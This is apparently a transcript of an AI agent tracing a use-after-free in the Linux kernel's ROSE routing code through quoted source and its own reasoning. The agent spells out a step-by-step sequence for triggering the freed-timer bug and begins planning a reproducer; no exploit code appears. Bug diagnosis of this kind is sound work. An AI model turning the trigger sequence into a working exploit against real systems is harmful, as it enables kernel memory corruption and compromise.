map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_add_loopback_node SourceFile:net/rose/rose_route.c SourceLine:436] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_add_node SourceFile:net/rose/rose_route.c SourceLine:181] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_add_node SourceFile:net/rose/rose_route.c SourceLine:191] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_get_neigh SourceFile:net/rose/rose_route.c SourceLine:693] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_get_neigh SourceFile:net/rose/rose_route.c SourceLine:705] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_route_frame SourceFile:net/rose/rose_route.c SourceLine:1073] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_route_frame SourceFile:net/rose/rose_route.c SourceLine:1074] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rx_call_request SourceFile:net/rose/af_rose.c SourceLine:1087]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 19859
							output: 135
							thoughts: 418
						

**Analyzing a Potential Race Condition in the ROSE Network Code**

Okay, so I'm looking at this bug report and it's pointing me to a potential issue related to the `rose_neigh_put` function being called within the `rose_timer_expiry` context. Specifically, this is the T3 timer expiry for a `struct rose_sock`. I see that the code is decrementing the reference count of `rose->neighbour`, which makes sense. If this drops to zero, the neighbour object gets freed.

My immediate concern is: does this object, even though it's been "put," still have active timers, specifically the `t0timer` or the `ftimer`? Let's trace it through. A `rose_neigh` object starts with a refcount of 1. It increases when added to a node, which is done through `rose_neigh_hold`, and decreases when removed. A socket connection also holds a reference through `rose_connect`, using `rose_get_neigh`, which calls `rose_neigh_hold`. When that T3 timer fires, it calls `rose_neigh_put`.

If the refcount hits zero here, it means the neighbour is no longer in the routing table and no longer actively used by any sockets. But... the neighbour might still have a `t0timer` running, right? That timer gets started by `rose_transmit_link`, which gets called when we are sending frames. Critically, and this is where I'm leaning towards the problem, `rose_neigh_put` *doesn't* appear to stop that `t0timer`.

This strongly suggests a potential race condition. If the neighbour is removed from the routing table and freed, but the `t0timer` is still pending, the kernel might be trying to access freed memory when that timer eventually expires. This is a classic concurrency problem, and is likely manifesting as the reported bug.

Now, I need to investigate where this neighbour gets deleted, to understand if there is a proper cleanup. I need to look at `rose_del_route_by_neigh`, `rose_remove_route`, or `rose_rt_device_down` to see if they specifically stop those timers before freeing the `rose_neigh` object. This looks like the next step.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_del_route_by_neigh]

map[SourceCode: 769:	static void rose_del_route_by_neigh(struct rose_neigh *rose_neigh)
 770:	{
 771:		struct rose_route *rose_route, *s;
 772:	
 773:		rose_neigh->restarted = 0;
 774:	
 775:		rose_stop_t0timer(rose_neigh);
 776:		rose_start_ftimer(rose_neigh);
 777:	
 778:		skb_queue_purge(&rose_neigh->queue);
 779:	
 780:		spin_lock_bh(&rose_route_list_lock);
 781:	
 782:		rose_route = rose_route_list;
 783:	
 784:		while (rose_route != NULL) {
 785:			if ((rose_route->neigh1 == rose_neigh && rose_route->neigh2 == rose_neigh) ||
 786:			    (rose_route->neigh1 == rose_neigh && rose_route->neigh2 == NULL)       ||
 787:			    (rose_route->neigh2 == rose_neigh && rose_route->neigh1 == NULL)) {
 788:				s = rose_route->next;
 789:				rose_remove_route(rose_route);
 790:				rose_route = s;
 791:				continue;
 792:			}
 793:	
 794:			if (rose_route->neigh1 == rose_neigh) {
 795:				rose_neigh_put(rose_route->neigh1);
 796:				rose_route->neigh1 = NULL;
 797:				rose_transmit_clear_request(rose_route->neigh2, rose_route->lci2, ROSE_OUT_OF_ORDER, 0);
 798:			}
 799:	
 800:			if (rose_route->neigh2 == rose_neigh) {
 801:				rose_neigh_put(rose_route->neigh2);
 802:				rose_route->neigh2 = NULL;
 803:				rose_transmit_clear_request(rose_route->neigh1, rose_route->lci1, ROSE_OUT_OF_ORDER, 0);
 804:			}
 805:	
 806:			rose_route = rose_route->next;
 807:		}
 808:		spin_unlock_bh(&rose_route_list_lock);
 809:	}
 SourceFile:net/rose/rose_route.c]

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_remove_route]

map[SourceCode: 252:	/*
 253:	 * Caller is holding rose_route_list_lock.
 254:	 */
 255:	static void rose_remove_route(struct rose_route *rose_route)
 256:	{
 257:		struct rose_route *s;
 258:	
 259:		if (rose_route->neigh1 != NULL)
 260:			rose_neigh_put(rose_route->neigh1);
 261:	
 262:		if (rose_route->neigh2 != NULL)
 263:			rose_neigh_put(rose_route->neigh2);
 264:	
 265:		if ((s = rose_route_list) == rose_route) {
 266:			rose_route_list = rose_route->next;
 267:			kfree(rose_route);
 268:			return;
 269:		}
 270:	
 271:		while (s != NULL && s->next != NULL) {
 272:			if (s->next == rose_route) {
 273:				s->next = rose_route->next;
 274:				kfree(rose_route);
 275:				return;
 276:			}
 277:	
 278:			s = s->next;
 279:		}
 280:	}
 SourceFile:net/rose/rose_route.c]

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_rt_device_down]

map[SourceCode: 474:	/*
 475:	 *	A device has been removed. Remove its routes and neighbours.
 476:	 */
 477:	void rose_rt_device_down(struct net_device *dev)
 478:	{
 479:		struct rose_neigh *s, *rose_neigh;
 480:		struct rose_node  *t, *rose_node;
 481:		int i;
 482:	
 483:		spin_lock_bh(&rose_node_list_lock);
 484:		spin_lock_bh(&rose_neigh_list_lock);
 485:		rose_neigh = rose_neigh_list;
 486:		while (rose_neigh != NULL) {
 487:			s          = rose_neigh;
 488:			rose_neigh = rose_neigh->next;
 489:	
 490:			if (s->dev != dev)
 491:				continue;
 492:	
 493:			rose_node = rose_node_list;
 494:	
 495:			while (rose_node != NULL) {
 496:				t         = rose_node;
 497:				rose_node = rose_node->next;
 498:	
 499:				for (i = t->count - 1; i >= 0; i--) {
 500:					if (t->neighbour[i] != s)
 501:						continue;
 502:	
 503:					t->count--;
 504:	
 505:					memmove(&t->neighbour[i], &t->neighbour[i + 1],
 506:						sizeof(t->neighbour[0]) *
 507:							(t->count - i));
 508:					rose_neigh_put(s);
 509:				}
 510:	
 511:				if (t->count <= 0)
 512:					rose_remove_node(t);
 513:			}
 514:	
 515:			rose_remove_neigh(s);
 516:			rose_neigh_put(s);
 517:		}
 518:		spin_unlock_bh(&rose_neigh_list_lock);
 519:		spin_unlock_bh(&rose_node_list_lock);
 520:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 22681
							output: 43
							thoughts: 154
						

**My Concerns Regarding Neighbor Management**

Okay, so I'm digging into this neighbor management code, and a few things are immediately jumping out at me. Firstly, `rose_del_route_by_neigh` handles its cleanup by stopping the `t0timer` and starting `ftimer`. Makes sense, standard timer management. However, `rose_rt_device_down` is behaving differently; it removes the neighbor from the node using `rose_neigh_put`, but I don't see any explicit timer stopping within that function.

Now, hold on. `rose_neigh_put` is just a simple refcount decrement. That means if `rose_rt_device_down` calls `rose_neigh_put`, and this decrement takes the reference count to zero, the neighbor is freed *immediately*. This raises a huge flag! It's conceivable that either the `t0timer` or the `ftimer` could still be running in a completely freed neighbor structure! That's a classic race condition and a potential memory corruption bug just waiting to happen.

Okay, I see that `rose_remove_neigh` is responsible for removing the neighbor from the `rose_neigh_list`. That's where things get interesting, is it stopping the timers though?

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_remove_neigh]

map[SourceCode: 225:	/*
 226:	 * Caller is holding rose_neigh_list_lock.
 227:	 */
 228:	static void rose_remove_neigh(struct rose_neigh *rose_neigh)
 229:	{
 230:		struct rose_neigh *s;
 231:	
 232:		timer_delete_sync(&rose_neigh->ftimer);
 233:		timer_delete_sync(&rose_neigh->t0timer);
 234:	
 235:		skb_queue_purge(&rose_neigh->queue);
 236:	
 237:		if ((s = rose_neigh_list) == rose_neigh) {
 238:			rose_neigh_list = rose_neigh->next;
 239:			return;
 240:		}
 241:	
 242:		while (s != NULL && s->next != NULL) {
 243:			if (s->next == rose_neigh) {
 244:				s->next = rose_neigh->next;
 245:				return;
 246:			}
 247:	
 248:			s = s->next;
 249:		}
 250:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 23515
							output: 43
							thoughts: 495
						

**Analyzing Neighbor Management and Reference Counting**

Okay, so `rose_remove_neigh` *does* indeed stop the timers, specifically with `timer_delete_sync(&rose_neigh->t0timer);`. That's good. But here's the key question: what happens if a neighbor's refcount drops to zero *without* it being explicitly removed via `rose_remove_neigh`?

Let's think this through. `rose_neigh` is initialized with a refcount of 1. When is it *removed* from `rose_neigh_list`? It seems like `rose_remove_neigh` is the only function responsible for this. And `rose_remove_neigh` is triggered by `rose_rt_device_down` and `rose_clear_routes`. So, does the fact that the neighbor is on the `rose_neigh_list` imply the refcount should account for that?

No, hold on. Looking back at `rose_add_node`:

```c
		if (rose_neigh == NULL) {
			rose_neigh = kmalloc_obj(*rose_neigh, GFP_ATOMIC);
			// ...
			refcount_set(&rose_neigh->use, 1);
			// ...
			rose_neigh->next = rose_neigh_list;
			rose_neigh_list  = rose_neigh;
		}
```

Okay, it's added to `rose_neigh_list` with a refcount of 1. That initial refcount of 1 *is* likely the `rose_neigh_list`'s reference. Then, when a neighbor is added to a node, we have:

```c
		if (rose_node == NULL) {
			// ...
			rose_node->neighbour[0] = rose_neigh;
			rose_neigh->count++;
			rose_neigh_hold(rose_neigh);
			goto out;
		}
		if (rose_node->count < 3) {
			rose_node->neighbour[rose_node->count] = rose_neigh;
			rose_node->count++;
			rose_neigh->count++;
			rose_neigh_hold(rose_neigh);
		}
```

So `rose_neigh_hold` gets called when it's added to a node.  Then the counter is incremented, and we hold the reference. The next question becomes, when is it removed from a node? The inverse, `rose_del_node`, must handle the decrement of the refcount. It seems that the refcount is incremented both by inclusion on the list, and in each of the nodes themselves. I need to make sure this is handled correctly.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_del_node]

map[SourceCode: 282:	/*
 283:	 *	"Delete" a node. Strictly speaking remove a route to a node. The node
 284:	 *	is only deleted if no routes are left to it.
 285:	 */
 286:	static int rose_del_node(struct rose_route_struct *rose_route,
 287:		struct net_device *dev)
 288:	{
 289:		struct rose_node  *rose_node;
 290:		struct rose_neigh *rose_neigh;
 291:		int i, err = 0;
 292:	
 293:		spin_lock_bh(&rose_node_list_lock);
 294:		spin_lock_bh(&rose_neigh_list_lock);
 295:	
 296:		rose_node = rose_node_list;
 297:		while (rose_node != NULL) {
 298:			if ((rose_node->mask == rose_route->mask) &&
 299:			    (rosecmpm(&rose_route->address, &rose_node->address,
 300:				      rose_route->mask) == 0))
 301:				break;
 302:			rose_node = rose_node->next;
 303:		}
 304:	
 305:		if (rose_node == NULL || rose_node->loopback) {
 306:			err = -EINVAL;
 307:			goto out;
 308:		}
 309:	
 310:		rose_neigh = rose_neigh_list;
 311:		while (rose_neigh != NULL) {
 312:			if (ax25cmp(&rose_route->neighbour,
 313:				    &rose_neigh->callsign) == 0 &&
 314:			    rose_neigh->dev == dev)
 315:				break;
 316:			rose_neigh = rose_neigh->next;
 317:		}
 318:	
 319:		if (rose_neigh == NULL) {
 320:			err = -EINVAL;
 321:			goto out;
 322:		}
 323:	
 324:		for (i = 0; i < rose_node->count; i++) {
 325:			if (rose_node->neighbour[i] == rose_neigh) {
 326:				rose_neigh->count--;
 327:				rose_neigh_put(rose_neigh);
 328:	
 329:				if (rose_neigh->count == 0) {
 330:					rose_remove_neigh(rose_neigh);
 331:					rose_neigh_put(rose_neigh);
 332:				}
 333:	
 334:				rose_node->count--;
 335:	
 336:				if (rose_node->count == 0) {
 337:					rose_remove_node(rose_node);
 338:				} else {
 339:					switch (i) {
 340:					case 0:
 341:						rose_node->neighbour[0] =
 342:							rose_node->neighbour[1];
 343:						fallthrough;
 344:					case 1:
 345:						rose_node->neighbour[1] =
 346:							rose_node->neighbour[2];
 347:						break;
 348:					case 2:
 349:						break;
 350:					}
 351:				}
 352:				goto out;
 353:			}
 354:		}
 355:		err = -EINVAL;
 356:	
 357:	out:
 358:		spin_unlock_bh(&rose_neigh_list_lock);
 359:		spin_unlock_bh(&rose_node_list_lock);
 360:	
 361:		return err;
 362:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 25768
							output: 42
							thoughts: 975
						

**UAF Vulnerability in ROSE Network Code**

Okay, let me break this down. In the `rose_del_node` function, I see a potential race condition involving the `rose_neigh` structure and its timers. The core of the problem seems to be the interaction between a socket's continued use of a neighbor (`rose_neigh`) after the neighbor has been removed from the main list.

I'm starting to see it: `rose_neigh->count` tracks references. When it hits zero, `rose_remove_neigh` is called, which looks like it *should* stop the timers associated with this neighbor, which is good. Then `rose_neigh_put` is called to drop the initial refcount. So far, so good. If the neighbor is removed, the timers should be stopped!

But wait, sockets get a refcount to a neighbor via `rose_get_neigh`, which increments the refcount. Then, a route is deleted. This calls `rose_del_node`. The neighbor's count drops to zero, triggering `rose_remove_neigh`, stopping the timers, and then `rose_neigh_put` is called, dropping the count to 1 (socket refcount). Okay. Then when the socket timer expires, it calls `rose_neigh_put` again, dropping the refcount to zero, and the neighbor is freed.

The key question is: does `rose_remove_neigh` *really* stop the timers in all cases? Let's check.

Looking at `rose_remove_neigh`, it calls `timer_delete_sync` on both `ftimer` and `t0timer`. That looks like it *should* stop them. But what if a timer is *restarted* after the delete? Specifically, can `t0timer` be restarted? Looking at the code, it looks like `rose_transmit_link` starts `t0timer`. Can `rose_transmit_link` be called after `rose_remove_neigh`?

Yes! If a socket holds a reference to the neighbor, it can still send frames! It calls `rose_send_frame`, which calls `rose_transmit_link`, which restarts `t0timer`. So, a socket could still have a reference and send data even after the route associated with that neighbor is deleted. The route deletion should be removing it from the global neighbor list.

So, if a route is deleted, the neighbor is removed from the global list and its timers are stopped. But the socket *still* has a reference to the neighbor, and can send data. If data is sent, `rose_transmit_link` is called. It restarts `t0timer`! Then, when the socket is closed or times out, `rose_neigh_put` is called. The refcount drops to zero, and the neighbor is freed. But `t0timer` is *still* running, and it's scheduled to expire!

So, `t0timer` expires, and it's accessing a freed `rose_neigh` - a classic use-after-free!

To confirm this, let's step through the sequence:

1.  Create a socket.
2.  Add a route (creating `rose_neigh`).
3.  Connect the socket to the route: `rose->neighbour` is set to `neigh`. Refcount is now 2 (1 list, 1 socket).
4.  Delete the route. `rose_del_node` is called. `neigh->count` becomes 0. `rose_remove_neigh` is called, stopping timers. `rose_neigh_put` is called. Refcount is 1 (for the socket).
5.  Send data on the socket. `rose_transmit_link` is called, restarting `t0timer`.
6.  Close the socket (or it times out). `rose_release` or `rose_timer_expiry` calls `rose_neigh_put`. Refcount drops to 0. `neigh` is freed.
7.  `t0timer` expires. UAF!

I need to confirm if `rose_transmit_link` *can* be called after the route is deleted. Looking at the code, when a socket sends data, it calls `rose_sendmsg`, which eventually leads to `rose_transmit_link`. Bingo! That's the path.

This is a serious problem. It means deleting a route doesn't properly synchronize with ongoing socket operations, leading to a race and a use-after-free vulnerability. Time to report this!

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_sendmsg]

map[SourceCode:1116:	static int rose_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
1117:	{
1118:		struct sock *sk = sock->sk;
1119:		struct rose_sock *rose = rose_sk(sk);
1120:		DECLARE_SOCKADDR(struct sockaddr_rose *, usrose, msg->msg_name);
1121:		int err;
1122:		struct full_sockaddr_rose srose;
1123:		struct sk_buff *skb;
1124:		unsigned char *asmptr;
1125:		int n, size, qbit = 0;
1126:	
1127:		if (msg->msg_flags & ~(MSG_DONTWAIT|MSG_EOR|MSG_CMSG_COMPAT))
1128:			return -EINVAL;
1129:	
1130:		if (sock_flag(sk, SOCK_ZAPPED))
1131:			return -EADDRNOTAVAIL;
1132:	
1133:		if (sk->sk_shutdown & SEND_SHUTDOWN) {
1134:			send_sig(SIGPIPE, current, 0);
1135:			return -EPIPE;
1136:		}
1137:	
1138:		if (rose->neighbour == NULL || rose->device == NULL)
1139:			return -ENETUNREACH;
1140:	
1141:		if (usrose != NULL) {
1142:			if (msg->msg_namelen != sizeof(struct sockaddr_rose) && msg->msg_namelen != sizeof(struct full_sockaddr_rose))
1143:				return -EINVAL;
1144:			memset(&srose, 0, sizeof(struct full_sockaddr_rose));
1145:			memcpy(&srose, usrose, msg->msg_namelen);
1146:			if (rosecmp(&rose->dest_addr, &srose.srose_addr) != 0 ||
1147:			    ax25cmp(&rose->dest_call, &srose.srose_call) != 0)
1148:				return -EISCONN;
1149:			if (srose.srose_ndigis != rose->dest_ndigis)
1150:				return -EISCONN;
1151:			if (srose.srose_ndigis == rose->dest_ndigis) {
1152:				for (n = 0 ; n < srose.srose_ndigis ; n++)
1153:					if (ax25cmp(&rose->dest_digis[n],
1154:						    &srose.srose_digis[n]))
1155:						return -EISCONN;
1156:			}
1157:			if (srose.srose_family != AF_ROSE)
1158:				return -EINVAL;
1159:		} else {
1160:			if (sk->sk_state != TCP_ESTABLISHED)
1161:				return -ENOTCONN;
1162:	
1163:			srose.srose_family = AF_ROSE;
1164:			srose.srose_addr   = rose->dest_addr;
1165:			srose.srose_call   = rose->dest_call;
1166:			srose.srose_ndigis = rose->dest_ndigis;
1167:			for (n = 0 ; n < rose->dest_ndigis ; n++)
1168:				srose.srose_digis[n] = rose->dest_digis[n];
1169:		}
1170:	
1171:		/* Build a packet */
1172:		/* Sanity check the packet size */
1173:		if (len > 65535)
1174:			return -EMSGSIZE;
1175:	
1176:		size = len + AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN;
1177:	
1178:		if ((skb = sock_alloc_send_skb(sk, size, msg->msg_flags & MSG_DONTWAIT, &err)) == NULL)
1179:			return err;
1180:	
1181:		skb_reserve(skb, AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN);
1182:	
1183:		/*
1184:		 *	Put the data on the end
1185:		 */
1186:	
1187:		skb_reset_transport_header(skb);
1188:		skb_put(skb, len);
1189:	
1190:		err = memcpy_from_msg(skb_transport_header(skb), msg, len);
1191:		if (err) {
1192:			kfree_skb(skb);
1193:			return err;
1194:		}
1195:	
1196:		/*
1197:		 *	If the Q BIT Include socket option is in force, the first
1198:		 *	byte of the user data is the logical value of the Q Bit.
1199:		 */
1200:		if (rose->qbitincl) {
1201:			qbit = skb->data[0];
1202:			skb_pull(skb, 1);
1203:		}
1204:	
1205:		/*
1206:		 *	Push down the ROSE header
1207:		 */
1208:		asmptr = skb_push(skb, ROSE_MIN_LEN);
1209:	
1210:		/* Build a ROSE Network header */
1211:		asmptr[0] = ((rose->lci >> 8) & 0x0F) | ROSE_GFI;
1212:		asmptr[1] = (rose->lci >> 0) & 0xFF;
1213:		asmptr[2] = ROSE_DATA;
1214:	
1215:		if (qbit)
1216:			asmptr[0] |= ROSE_Q_BIT;
1217:	
1218:		if (sk->sk_state != TCP_ESTABLISHED) {
1219:			kfree_skb(skb);
1220:			return -ENOTCONN;
1221:		}
1222:	
1223:	#ifdef M_BIT
1224:	#define ROSE_PACLEN (256-ROSE_MIN_LEN)
1225:		if (skb->len - ROSE_MIN_LEN > ROSE_PACLEN) {
1226:			unsigned char header[ROSE_MIN_LEN];
1227:			struct sk_buff *skbn;
1228:			int frontlen;
1229:			int lg;
1230:	
1231:			/* Save a copy of the Header */
1232:			skb_copy_from_linear_data(skb, header, ROSE_MIN_LEN);
1233:			skb_pull(skb, ROSE_MIN_LEN);
1234:	
1235:			frontlen = skb_headroom(skb);
1236:	
1237:			while (skb->len > 0) {
1238:				if ((skbn = sock_alloc_send_skb(sk, frontlen + ROSE_PACLEN, 0, &err)) == NULL) {
1239:					kfree_skb(skb);
1240:					return err;
1241:				}
1242:	
1243:				skbn->sk   = sk;
1244:				skbn->free = 1;
1245:				skbn->arp  = 1;
1246:	
1247:				skb_reserve(skbn, frontlen);
1248:	
1249:				lg = (ROSE_PACLEN > skb->len) ? skb->len : ROSE_PACLEN;
1250:	
1251:				/* Copy the user data */
1252:				skb_copy_from_linear_data(skb, skb_put(skbn, lg), lg);
1253:				skb_pull(skb, lg);
1254:	
1255:				/* Duplicate the Header */
1256:				skb_push(skbn, ROSE_MIN_LEN);
1257:				skb_copy_to_linear_data(skbn, header, ROSE_MIN_LEN);
1258:	
1259:				if (skb->len > 0)
1260:					skbn->data[2] |= M_BIT;
1261:	
1262:				skb_queue_tail(&sk->sk_write_queue, skbn); /* Throw it on the queue */
1263:			}
1264:	
1265:			skb->free = 1;
1266:			kfree_skb(skb);
1267:		} else {
1268:			skb_queue_tail(&sk->sk_write_queue, skb);		/* Throw it on the queue */
1269:		}
1270:	#else
1271:		skb_queue_tail(&sk->sk_write_queue, skb);	/* Shove it onto the queue */
1272:	#endif
1273:	
1274:		rose_kick(sk);
1275:	
1276:		return len;
1277:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 30382
							output: 41
							thoughts: 47
						

Okay, let's break this down.

**Analyzing the `rose_sendmsg` Function**

Right, so I'm looking at the `rose_sendmsg` function now. My first thought is, "What's the immediate check here?" Ah, yes, it checks `rose->neighbour == NULL`. Now, that's crucial; this determines whether we even *need* to bother sending this packet over the network. It's a fundamental conditional.

If `rose->neighbour` *isn't* NULL, meaning we've got a known neighbour to send this data to, the function queues the socket buffer (`skb`). Then, and this is the important part, it calls `rose_kick(sk)`. That's where the actual transmission process is initiated. Now, I need to delve into that `rose_kick` function, to see *exactly* how the packet gets handled at that stage. What's it doing with that queued `skb`? What resources is it using? Let's go investigate `rose_kick`.

map[ContextFile:net/rose/rose_out.c IncludeLines:true Name:rose_kick]

map[SourceCode:  45:	void rose_kick(struct sock *sk)
  46:	{
  47:		struct rose_sock *rose = rose_sk(sk);
  48:		struct sk_buff *skb, *skbn;
  49:		unsigned short start, end;
  50:	
  51:		if (rose->state != ROSE_STATE_3)
  52:			return;
  53:	
  54:		if (rose->condition & ROSE_COND_PEER_RX_BUSY)
  55:			return;
  56:	
  57:		if (!skb_peek(&sk->sk_write_queue))
  58:			return;
  59:	
  60:		start = (skb_peek(&rose->ack_queue) == NULL) ? rose->va : rose->vs;
  61:		end   = (rose->va + sysctl_rose_window_size) % ROSE_MODULUS;
  62:	
  63:		if (start == end)
  64:			return;
  65:	
  66:		rose->vs = start;
  67:	
  68:		/*
  69:		 * Transmit data until either we're out of data to send or
  70:		 * the window is full.
  71:		 */
  72:	
  73:		skb  = skb_dequeue(&sk->sk_write_queue);
  74:	
  75:		do {
  76:			if ((skbn = skb_clone(skb, GFP_ATOMIC)) == NULL) {
  77:				skb_queue_head(&sk->sk_write_queue, skb);
  78:				break;
  79:			}
  80:	
  81:			skb_set_owner_w(skbn, sk);
  82:	
  83:			/*
  84:			 * Transmit the frame copy.
  85:			 */
  86:			rose_send_iframe(sk, skbn);
  87:	
  88:			rose->vs = (rose->vs + 1) % ROSE_MODULUS;
  89:	
  90:			/*
  91:			 * Requeue the original data frame.
  92:			 */
  93:			skb_queue_tail(&rose->ack_queue, skb);
  94:	
  95:		} while (rose->vs != end &&
  96:			 (skb = skb_dequeue(&sk->sk_write_queue)) != NULL);
  97:	
  98:		rose->vl         = rose->vr;
  99:		rose->condition &= ~ROSE_COND_ACK_PENDING;
 100:	
 101:		rose_stop_timer(sk);
 102:	}
 SourceFile:net/rose/rose_out.c]

gemini-3.1-pro-preview

							input: 31461
							output: 43
							thoughts: 21
						

Here's my take on those thoughts, tailored for an expert audience:

**Investigating the `rose_send_iframe` Call**

Okay, so `rose_send_iframe` is making a call to `rose_transmit_link`. My initial thought is to confirm that. It's standard practice, but I need to quickly verify the function's internal flow to be sure. My expertise in this particular module tells me this pattern is likely to be true based on the naming convention, but I always prefer to be 100% sure before proceeding.

map[ContextFile:net/rose/rose_out.c IncludeLines:true Name:rose_send_iframe]

map[SourceCode:  26:	/*
  27:	 *	This procedure is passed a buffer descriptor for an iframe. It builds
  28:	 *	the rest of the control part of the frame and then writes it out.
  29:	 */
  30:	static void rose_send_iframe(struct sock *sk, struct sk_buff *skb)
  31:	{
  32:		struct rose_sock *rose = rose_sk(sk);
  33:	
  34:		if (skb == NULL)
  35:			return;
  36:	
  37:		skb->data[2] |= (rose->vr << 5) & 0xE0;
  38:		skb->data[2] |= (rose->vs << 1) & 0x0E;
  39:	
  40:		rose_start_idletimer(sk);
  41:	
  42:		rose_transmit_link(skb, rose->neighbour);
  43:	}
 SourceFile:net/rose/rose_out.c]

gemini-3.1-pro-preview

							input: 31931
							output: 43
							thoughts: 596
						

**The Aha! Moment (and the Bug)**

Okay, I've got it. The `rose_send_iframe` function ultimately calls `rose_transmit_link`, which then kicks off `t0timer` on the `rose->neighbour` structure. That's the key.

So, the crux of the problem boils down to this sequence:

1.  A socket connects to a route, getting a reference to `rose_neigh`.
2.  The route gets deleted. When that happens, `rose_del_node` removes the `rose_neigh` entry from `rose_neigh_list` and, importantly, stops any running timers. The reference count on the `rose_neigh` structure is 1 at this point.
3.  The socket then sends data. This triggers a chain: `rose_sendmsg` -> `rose_kick` -> `rose_send_iframe` -> `rose_transmit_link`.
4.  `rose_transmit_link` *restarts* `t0timer` on the now-dangling `rose_neigh`.
5.  Later, the socket is either closed or times out, resulting in a call to `rose_neigh_put`. The reference count drops to zero, and the `rose_neigh` structure is freed.
6.  The killer: `t0timer` *expires*, now attempting to access the already freed `rose_neigh`! Boom, that's our use-after-free.

I've got to double-check `rose_del_node` and `rose_remove_neigh` quickly...
Okay, when `rose_del_node` is called, it calls `rose_remove_neigh` if the reference count is 0. But, `rose_remove_neigh` is only called if `rose_neigh` is in `rose_neigh_list`. Wait a second! If `rose_neigh` is removed from `rose_neigh_list`, `rose_remove_neigh` won't find it. But `rose_transmit_link` doesn't care if it's in that list; it just uses `rose->neighbour`. And `rose->neighbour` is still pointing to the now-freed `rose_neigh`. Got it!

Time to prove it. I'll write a C program to reliably reproduce this. The steps are pretty straightforward:

1.  Create a ROSE socket.
2.  Add a ROSE route.
3.  Connect the ROSE socket to that route.
4.  Delete the ROSE route.
5.  Send some data on the socket.
6.  Close the socket.
7.  Now, we wait for `t0timer` to tick over and trigger the crash.

I'll need to use `SIOCADDRT` and `SIOCDELRT` ioctls on the socket for route management. Let's see...

I know that to add a route, I need the `rose_route_struct` structure:

```c
struct rose_route_struct {
	rose_address address;
	unsigned short mask;
	ax25_address neighbour;
	char device[16];
	unsigned char ndigis;
	ax25_address digipeaters[AX25_MAX_DIGIS];
};
```

And to delete a route, I'll use `SIOCDELRT`... Now I have to go check `rose_rt_ioctl` for all the details regarding `SIOCADDRT` and `SIOCDELRT`.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_rt_ioctl]

map[SourceCode: 727:	/*
 728:	 *	Handle the ioctls that control the routing functions.
 729:	 */
 730:	int rose_rt_ioctl(unsigned int cmd, void __user *arg)
 731:	{
 732:		struct rose_route_struct rose_route;
 733:		struct net_device *dev;
 734:		int err;
 735:	
 736:		switch (cmd) {
 737:		case SIOCADDRT:
 738:			if (copy_from_user(&rose_route, arg, sizeof(struct rose_route_struct)))
 739:				return -EFAULT;
 740:			if ((dev = rose_ax25_dev_find(rose_route.device)) == NULL)
 741:				return -EINVAL;
 742:			if (rose_dev_exists(&rose_route.address)) /* Can't add routes to ourself */
 743:				return -EINVAL;
 744:			if (rose_route.mask > 10) /* Mask can't be more than 10 digits */
 745:				return -EINVAL;
 746:			if (rose_route.ndigis > AX25_MAX_DIGIS)
 747:				return -EINVAL;
 748:			err = rose_add_node(&rose_route, dev);
 749:			return err;
 750:	
 751:		case SIOCDELRT:
 752:			if (copy_from_user(&rose_route, arg, sizeof(struct rose_route_struct)))
 753:				return -EFAULT;
 754:			if ((dev = rose_ax25_dev_find(rose_route.device)) == NULL)
 755:				return -EINVAL;
 756:			err = rose_del_node(&rose_route, dev);
 757:			return err;
 758:	
 759:		case SIOCRSCLRRT:
 760:			return rose_clear_routes();
 761:	
 762:		default:
 763:			return -EINVAL;
 764:		}
 765:	
 766:		return 0;
 767:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 33981
							output: 47
							thoughts: 233
						

**My Line of Reasoning for Adding an AX.25 Route**

Okay, so I need to add an AX.25 route. The obvious first thought is: I need an AX.25 device, right? But how do I get one? I could create a `netdevsim` device, or maybe a `dummy` device, but does it *have* to be an AX.25 device? 

Hang on... I need to double-check the code. Let me see... yes, `rose_ax25_dev_find` looks for a device specifically with `dev->type == ARPHRD_AX25`. That answers that question. So, creating a `veth` pair and then *trying* to change its type won't work. The same goes for a `dummy` device.

Alright, the options are pretty clear. I can use the `mkiss`, `bpqether`, or plain old `ax25` module to *create* the AX.25 device I need. That seems like the right approach.

Wait... I just read about a syzbot report related to this issue. It uses `netdevsim` or `tun` devices. Let's see... the bug report mentions a trace through `nsim_dev_trap_report_work` -> `consume_skb` -> `kfree_skbmem` -> `kmem_cache_free`. Okay, that's just a standard `skb` deallocation path. This bug is probably related to the device being a `tun` or `netdevsim` device. This confirms what I was thinking.

Back to the primary goal: I want to add an AX.25 route. Let's make sure I didn't lose track of the goal. The core point is that I need a device with `ARPHRD_AX25` type.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_ax25_dev_find]

map[SourceCode: 587:	/*
 588:	 *	Check that the device given is a valid AX.25 interface that is "up".
 589:	 * 	called with RTNL
 590:	 */
 591:	static struct net_device *rose_ax25_dev_find(char *devname)
 592:	{
 593:		struct net_device *dev;
 594:	
 595:		if ((dev = __dev_get_by_name(&init_net, devname)) == NULL)
 596:			return NULL;
 597:	
